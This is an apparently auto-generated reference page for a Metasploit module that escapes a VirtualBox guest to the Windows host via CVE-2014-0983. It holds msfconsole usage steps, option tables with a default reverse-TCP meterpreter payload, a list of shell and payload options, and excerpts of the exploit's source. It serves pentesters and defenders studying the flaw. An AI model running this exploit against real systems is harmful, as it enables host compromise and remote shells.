VirtualBox 3D Acceleration Virtual Machine Escape - Metasploit


This page contains detailed information about how to use the exploit/windows/local/virtual_box_opengl_escape metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: VirtualBox 3D Acceleration Virtual Machine Escape
Module: exploit/windows/local/virtual_box_opengl_escape
Source code: modules/exploits/windows/local/virtual_box_opengl_escape.rb
Disclosure date: 2014-03-11
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0983

This module exploits a vulnerability in the 3D Acceleration support for VirtualBox. The vulnerability exists in the remote rendering of OpenGL-based 3D graphics. By sending a sequence of specially crafted rendering messages, a virtual machine can exploit an out of bounds array access to corrupt memory and escape to the host. This module has been tested successfully on Windows 7 SP1 (64 bits) as Host running Virtual Box 4.3.6.

Module Ranking and Traits


Module Ranking:

  • average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/virtual_box_opengl_escape
msf exploit(virtual_box_opengl_escape) > show targets
    ... a list of targets ...
msf exploit(virtual_box_opengl_escape) > set TARGET target-id
msf exploit(virtual_box_opengl_escape) > show options
    ... show and set options ...
msf exploit(virtual_box_opengl_escape) > set SESSION session-id
msf exploit(virtual_box_opengl_escape) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the windows/local/virtual_box_opengl_escape exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/virtual_box_opengl_escape

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/virtual_box_opengl_escape) > show info

       Name: VirtualBox 3D Acceleration Virtual Machine Escape
     Module: exploit/windows/local/virtual_box_opengl_escape
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-03-11

Provided by:
  Francisco Falcon
  Florian Ledoux
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 7000

Description:
  This module exploits a vulnerability in the 3D Acceleration support 
  for VirtualBox. The vulnerability exists in the remote rendering of 
  OpenGL-based 3D graphics. By sending a sequence of specially crafted 
  rendering messages, a virtual machine can exploit an out of bounds 
  array access to corrupt memory and escape to the host. This module 
  has been tested successfully on Windows 7 SP1 (64 bits) as Host 
  running Virtual Box 4.3.6.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0983
  http://www.securityfocus.com/bid/66133
  http://www.coresecurity.com/advisories/oracle-virtualbox-3d-acceleration-multiple-memory-corruption-vulnerabilities
  http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=publication&name=oracle_virtualbox_3d_acceleration

Module Options


This is a complete list of options available in the windows/local/virtual_box_opengl_escape exploit:

msf6 exploit(windows/local/virtual_box_opengl_escape) > show options

Module options (exploit/windows/local/virtual_box_opengl_escape):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)

Advanced Options


Here is a complete list of advanced options supported by the windows/local/virtual_box_opengl_escape exploit:

msf6 exploit(windows/local/virtual_box_opengl_escape) > show advanced

Module advanced options (exploit/windows/local/virtual_box_opengl_escape):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/local/virtual_box_opengl_escape module can exploit:

msf6 exploit(windows/local/virtual_box_opengl_escape) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   VirtualBox 4.3.6 / Windows 7 SP1 / 64 bits (ASLR/DEP bypass)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/virtual_box_opengl_escape exploit:

msf6 exploit(windows/local/virtual_box_opengl_escape) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options


Here is the full list of possible evasion options supported by the windows/local/virtual_box_opengl_escape exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/virtual_box_opengl_escape) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

GetLastError


Here is a relevant code snippet related to the "GetLastError" error message:

105:	  end
106:	
107:	  def send_ioctl(ioctl, msg)
108:	    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
109:	
110:	    if result["GetLastError"] != 0
111:	      unless result["ErrorMessage"].blank?
112:	        vprint_error("#{result["ErrorMessage"]}")
113:	      end
114:	      return nil
115:	    end

ErrorMessage


Here is a relevant code snippet related to the "ErrorMessage" error message:

106:	
107:	  def send_ioctl(ioctl, msg)
108:	    result = session.railgun.kernel32.DeviceIoControl(@handle, ioctl, msg, msg.length, msg.length, msg.length, 4, "")
109:	
110:	    if result["GetLastError"] != 0
111:	      unless result["ErrorMessage"].blank?
112:	        vprint_error("#{result["ErrorMessage"]}")
113:	      end
114:	      return nil
115:	    end
116:	

ErrorMessage


Here is a relevant code snippet related to the "ErrorMessage" error message:

113:	      end
114:	      return nil
115:	    end
116:	
117:	    unless result["lpBytesReturned"] && result["lpBytesReturned"] == msg.length
118:	      unless result["ErrorMessage"].blank?
119:	        vprint_error("#{result["ErrorMessage"]}")
120:	      end
121:	      return nil
122:	    end
123:	

ErrorMessage


Here is a relevant code snippet related to the "ErrorMessage" error message:

120:	      end
121:	      return nil
122:	    end
123:	
124:	    unless result["lpOutBuffer"] && result["lpOutBuffer"].unpack("V").first == 0
125:	      unless result["ErrorMessage"].blank?
126:	        vprint_error("#{result["ErrorMessage"]}")
127:	      end
128:	      return nil
129:	    end
130:	

Invalid target specified: no messages callback function defined


Here is a relevant code snippet related to the "Invalid target specified: no messages callback function defined" error message:

293:	    Exploit::CheckCode::Detected
294:	  end
295:	
296:	  def exploit
297:	    unless self.respond_to?(target[:messages])
298:	      print_error("Invalid target specified: no messages callback function defined")
299:	      return
300:	    end
301:	
302:	    print_status("Opening device...")
303:	    @handle = open_device

<DEVICE> device not found


Here is a relevant code snippet related to the "<DEVICE> device not found" error message:

300:	    end
301:	
302:	    print_status("Opening device...")
303:	    @handle = open_device
304:	    if @handle.nil?
305:	      fail_with(Failure::NoTarget, "#{DEVICE} device not found")
306:	    else
307:	      print_good("#{DEVICE} found, exploiting...")
308:	    end
309:	
310:	    print_status("Connecting to the service...")

Connect operation failed


Here is a relevant code snippet related to the "Connect operation failed" error message:

308:	    end
309:	
310:	    print_status("Connecting to the service...")
311:	    @client_id = connect
312:	    if @client_id.nil?
313:	      fail_with(Failure::Unknown, "Connect operation failed")
314:	    end
315:	
316:	    print_good("Client ID #{@client_id}")
317:	
318:	    print_status("Calling SET_VERSION...")

Failed to SET_VERSION


Here is a relevant code snippet related to the "Failed to SET_VERSION" error message:

316:	    print_good("Client ID #{@client_id}")
317:	
318:	    print_status("Calling SET_VERSION...")
319:	    result = set_version
320:	    if result.nil?
321:	      fail_with(Failure::Unknown, "Failed to SET_VERSION")
322:	    end
323:	
324:	    this_pid = session.sys.process.getpid
325:	    print_status("Calling SET_PID...")
326:	    result = set_pid(this_pid)

Failed to SET_PID


Here is a relevant code snippet related to the "Failed to SET_PID" error message:

323:	
324:	    this_pid = session.sys.process.getpid
325:	    print_status("Calling SET_PID...")
326:	    result = set_pid(this_pid)
327:	    if result.nil?
328:	      fail_with(Failure::Unknown, "Failed to SET_PID")
329:	    end
330:	
331:	    this_proc = session.sys.process.open
332:	    print_status("Sending First 0xEA Opcode Message to control head_spu...")
333:	    result = send_opcodes_msg(this_proc, 1)

Failed to control heap_spu...


Here is a relevant code snippet related to the "Failed to control heap_spu..." error message:

330:	
331:	    this_proc = session.sys.process.open
332:	    print_status("Sending First 0xEA Opcode Message to control head_spu...")
333:	    result = send_opcodes_msg(this_proc, 1)
334:	    if result.nil?
335:	      fail_with(Failure::Unknown, "Failed to control heap_spu...")
336:	    end
337:	
338:	    print_status("Sending Second 0xEA Opcode Message to execute payload...")
339:	    @old_timeout = session.response_timeout
340:	    session.response_timeout = 5

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Francisco Falcon
  • Florian Ledoux
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.